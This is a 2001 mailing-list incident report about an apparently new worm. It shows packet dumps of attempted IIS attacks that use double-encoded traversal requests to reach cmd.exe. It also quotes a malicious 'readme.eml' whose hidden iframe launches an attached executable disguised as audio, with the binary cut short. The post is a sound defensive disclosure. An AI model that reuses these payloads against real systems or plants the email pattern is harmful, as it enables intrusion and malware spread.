New worm? 'readme.eml'

From: Pedro Miller Rabinovitch (pedro@cipher.com.br)
Date: 09/18/01


Message-Id: <a05001905b7cd14f52dda@[192.168.1.71]>
Date: Tue, 18 Sep 2001 12:13:32 -0300
To: forensics@SECURITYFOCUS.COM
From: Pedro Miller Rabinovitch <pedro@cipher.com.br>
Subject: New worm? 'readme.eml'

Hi,

   is this CodeBlue? Some new worm? Or just one I hadn't heard about?
It uses double-encoding exploits, and propagates both by adding
javascript to the main page and by probing other systems...

Report:

Our systems got hit by 3 attempts, all unsuccessful, to exploit IIS:

Date Time D Source IP Sport Dport P
01Sep18 11:20 T 200.192.226.40 3933 80 T
01Sep18 11:20 T 200.192.226.40 3767 80 T
01Sep18 11:20 T 200.192.226.40 3572 80 T

  SOURCE: 200.192.226.40

  45 00 00 9d 62 61 40 00 77 06 16 3d c8 c0 e2 28 xx xx xx xx
E...ba@.w..=...(xxxx
  0d f4 00 50 7b b0 1f 02 c3 7e 8c 4e 50 18 22 38 07 7a 00 00
...P{....~.NP."8.z..
  47 45 54 20 2f 5f 76 74 69 5f 62 69 6e 2f 2e 2e 25 32 35 35 GET
/_vti_bin/..%255
  63 2e 2e 2f 2e 2e 25 32 35 35 63 2e 2e 2f 2e 2e 25 32 35 35
c../..%255c../..%255
  63 2e 2e 2f 77 69 6e 6e 74 2f 73 79 73 74 65 6d 33 32 2f 63
c../winnt/system32/c
  6d 64 2e 65 78 65 3f 2f 63 2b 64 69 72 20 48 54 54 50 2f 31
md.exe?/c+dir HTTP/1
  2e 30 0d 0a 48 6f 73 74 3a 20 77 77 77 0d 0a 43 6f 6e 6e 6e
.0..Host: www..Connn
  65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 0d 0a ection: close....

  45 00 00 9d b0 63 40 00 77 06 c8 3a c8 c0 e2 28 xx xx xx xx
E....c@.w..:...(xxxx
  0e b7 00 50 7b b2 1a 91 c3 4f d5 1e 50 18 22 38 c7 93 00 00
...P{....O..P."8....
  47 45 54 20 2f 5f 6d 65 6d 5f 62 69 6e 2f 2e 2e 25 32 35 35 GET
/_mem_bin/..%255
  63 2e 2e 2f 2e 2e 25 32 35 35 63 2e 2e 2f 2e 2e 25 32 35 35
c../..%255c../..%255
  63 2e 2e 2f 77 69 6e 6e 74 2f 73 79 73 74 65 6d 33 32 2f 63
c../winnt/system32/c
  6d 64 2e 65 78 65 3f 2f 63 2b 64 69 72 20 48 54 54 50 2f 31
md.exe?/c+dir HTTP/1
  2e 30 0d 0a 48 6f 73 74 3a 20 77 77 77 0d 0a 43 6f 6e 6e 6e
.0..Host: www..Connn
  65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 0d 0a ection: close....

  45 00 00 b9 39 65 40 00 77 06 3f 1d c8 c0 e2 28 xx xx xx xx
E...9e@.w.?....(xxxx
  0f 5d 00 50 7b b2 22 36 c3 4c 5a ed 50 18 22 38 dd 36 00 00
.].P{."6.LZ.P."8.6..
  47 45 54 20 2f 6d 73 61 64 63 2f 2e 2e 25 32 35 35 63 2e 2e GET
/msadc/..%255c..
  2f 2e 2e 25 32 35 35 63 2e 2e 2f 2e 2e 25 32 35 35 63 2f 2e
/..%255c../..%255c/.
  2e 25 63 31 25 31 63 2e 2e 2f 2e 2e 25 63 31 25 31 63 2e 2e
.%c1%1c../..%c1%1c..
  2f 2e 2e 25 63 31 25 31 63 2e 2e 2f 77 69 6e 6e 74 2f 73 79
/..%c1%1c../winnt/sy
  73 74 65 6d 33 32 2f 63 6d 64 2e 65 78 65 3f 2f 63 2b 64 69
stem32/cmd.exe?/c+di
  72 20 48 54 54 50 2f 31 2e 30 0d 0a 48 6f 73 74 3a 20 77 77 r
HTTP/1.0..Host: ww
  77 0d 0a 43 6f 6e 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73
w..Connnection: clos
  65 0d 0a 0d 0a e....

---------------

When I connected to the originating server (femm.tdkomm.com.br), I
saw the normal web page for the institution, plus a pop-up window for
http://femm.tdkomm.com.br/readme.DONT.eml (without "DONT"), as
follows:

MIME-Version: 1.0
Content-Type: multipart/related;
type="multipart/alternative";
boundary="====_ABC1234567890DEF_===="
X-Priority: 3
X-MSMail-Priority: Normal
X-Unsent: 1

--====_ABC1234567890DEF_====
Content-Type: multipart/alternative;
boundary="====_ABC0987654321DEF_===="

--====_ABC0987654321DEF_====
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<HTML><HEAD></HEAD><BODY bgColor=3D#ffffff>
<iframe src=3Dcid:EA4DMGBP9p height=3D0 width=3D0>
</iframe></BODY></HTML>
--====_ABC0987654321DEF_====--

--====_ABC1234567890DEF_====
Content-Type: audio/x-wav;
name="readme.exe"
Content-Transfer-Encoding: base64
Content-ID: <EA4DMGBP9p>

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v
ZGUuDQ0KJAAAAAAAAAA11CFvcbVPPHG1TzxxtU88E6pcPHW1TzyZqkU8dbVPPJmqSzxytU88cbVO
PBG1TzyZqkQ8fbVPPMmzSTxwtU88UmljaHG1TzwAAAAAAAAAAH8AAAEAAAB/UEUAAEwBBQB1Oqc7
AAAAAAAAAADgAA4BCwEGAABwAAAAYAAAAAAAALN0AAAAEAAAAIAAAAAAFzYAEAAAABAAAAQAAAAA
... (worm code follows)

I've inspected the executable code, and it reads like a worm. (doh)

Has anyone seen this?

Regards,

        Pedro.

-- 
Pedro Miller Rabinovitch
Technology Manager
Cipher Technology
55-21-2579-3999
http://www.cipher.com.br